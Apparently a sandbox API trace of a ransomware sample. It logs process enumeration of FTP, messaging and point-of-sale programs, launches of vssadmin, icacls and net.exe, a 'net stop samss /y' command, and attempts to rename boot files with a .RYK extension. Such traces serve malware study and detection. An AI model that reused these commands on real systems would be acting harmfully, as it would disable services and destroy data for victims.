	[0276.060] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0276.062] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0276.064] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0276.066] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0276.068] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0276.071] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0276.325] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0276.327] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0276.329] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0276.331] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0276.333] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0276.335] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0276.337] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0276.339] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0276.341] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0276.343] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0276.345] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0276.347] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0276.349] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0276.352] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0276.354] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0276.356] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0276.358] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0276.360] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0276.363] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0276.365] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0276.367] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0276.369] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0276.810] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0276.812] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0276.814] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0276.817] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0276.819] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0276.821] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0276.823] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0276.825] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0276.826] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0276.828] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0276.831] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0276.833] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0276.835] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0276.837] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0276.839] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0276.841] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0276.843] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0276.845] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0276.847] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0276.849] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0276.851] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0277.166] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0277.168] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0277.170] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0277.172] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0277.174] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0277.177] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0277.179] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0277.182] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0277.184] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0277.186] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9c, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0277.188] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xbc, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0277.190] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0277.192] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0277.194] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0277.197] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0277.199] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0277.201] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0277.203] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0277.205] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0277.207] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0277.209] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0277.211] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.469] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0277.471] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0277.473] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0277.474] CloseHandle (hObject=0xa1c) returned 1
	[0277.474] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2e6070
	[0277.476] EnumServicesStatusW (in: hSCManager=0x2e6070, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 0
	[0277.476] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x27e0000
	[0277.477] EnumServicesStatusW (in: hSCManager=0x2e6070, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x27e0000, cbBufSize=0x17b5, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x27e0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 1
	[0277.479] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0278.379] Sleep (dwMilliseconds=0x96) 
	[0282.529] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.530] Sleep (dwMilliseconds=0xc350) 

Thread:
	id = 1447
	os_tid = 0x1c38


Thread:
	id = 1501
	os_tid = 0x1d40

	[0196.936] SetFileAttributesW (lpFileName="C:\\Boot\\BCD", dwFileAttributes=0x80) returned 1
	[0196.937] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.937] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.938] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), lpNewFileName="C:\\Boot\\BCD.RYK" (normalized: "c:\\boot\\bcd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1502
	os_tid = 0x1d44

	[0196.940] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG", dwFileAttributes=0x80) returned 1
